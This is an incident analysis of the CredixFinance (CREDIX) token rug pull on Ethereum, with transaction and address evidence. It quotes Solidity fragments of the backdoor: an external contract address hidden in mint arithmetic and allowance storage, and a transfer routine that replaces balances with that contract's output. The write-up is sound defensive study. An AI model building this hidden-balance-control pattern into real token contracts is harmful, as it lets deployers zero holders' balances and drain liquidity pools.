What happened
CredixFinance (CREDIX) was an Ethereum token whose _transfer did not trust its own balance ledger. Before every transfer it asked a hidden external contract how many tokens the sender holds, and wrote that answer back as the sender's balance. The external contract's address was hidden in the mint arithmetic.
Because of this, the deployer's side could make any holder's balance read as zero, or give its own wallet more tokens than exist. The contract shows a supply of 100 million CREDIX, yet on 2023-11-21 address 0x45aF15b2…d7a448 sold 2.2 quadrillion CREDIX into the Uniswap pool for 41.27 WETH and drained it. De.Fi's listing puts the loss at 25,564 USD (14.06 ETH) and says the dumping address sent 27.2 ETH to the deployer before the token was created.
How it happened
_minthides an address in allowance storage, and the minted amount it writes ignores the constructor argument:_allowances[address(0)][address(0)] = amount + 112394823902002384810;, thenamount = 100000000 * 10 ** 18;.getTokens()turns that stored number into a contract address:return TOKEN(address(uint160(_allowances[address(0)][address(0)])));. TheTOKENinterface exposesman(uint256 FromAmount, address FromAddress, string memory c), and its code is not part of the verified source.- Every transfer replaces the sender's real balance with whatever that contract returns:
uint256 curBalance = getTokens().man(_balances[from],from,"dd");, then_balances[from] = curBalance - amount;. Ifmanreturns 0, the holder's sell fails with "transfer amount exceeds balance". If it returns a huge number, the sender can transfer tokens that were never minted, andtotalSupplydoes not change. - The constructor emits a renounce:
_transferOwnership(address(0));. There are no owner functions to renounce, though, because the control sits in the external contract. - On 2023-11-21 at 08:40 UTC, 0x45aF15b2…d7a448 swapped about 2.2 quadrillion CREDIX (22 million times the 100 million supply) into pool 0x34f861B6…268B74 in 0xc4943319…145b60 and received 41.268 ETH. PeckShield reported the price had dropped by 100%.
- De.Fi's listing says part of the ETH moved on to 0x674341FE…2827B5 (holder as of 2023-11-22). It names the deployer as 0xF23Ee455…E3bdF0, which received 27.2 ETH from the dumping address before deployment.
Protocol details
Evidence
- report PeckShieldAlert on X: CredixFinance $CREDIX has dropped -100% twitter.com
- transaction Etherscan transaction 0xc4943319... (Universal Router execute, CREDIX to WETH) etherscan.io
- address CredixFinance (CREDIX) contract source, Etherscan verified code etherscan.io
- address etherscan.io address 0x45aF…a448 etherscan.io
- address etherscan.io address 0x6743…27B5 etherscan.io
- address etherscan.io address 0xF23E…bdF0 etherscan.io
- analysis Sourcify repository: chain 1, 0x6b5e9e55921e5e412cF1002599c05d4428cF50c5 (contracts/ERC20.sol, contracts/Credix.sol) repo.sourcify.dev
Build your security review skills
Work through hands-on labs covering real exploit mechanics, review techniques, and defensive patterns.
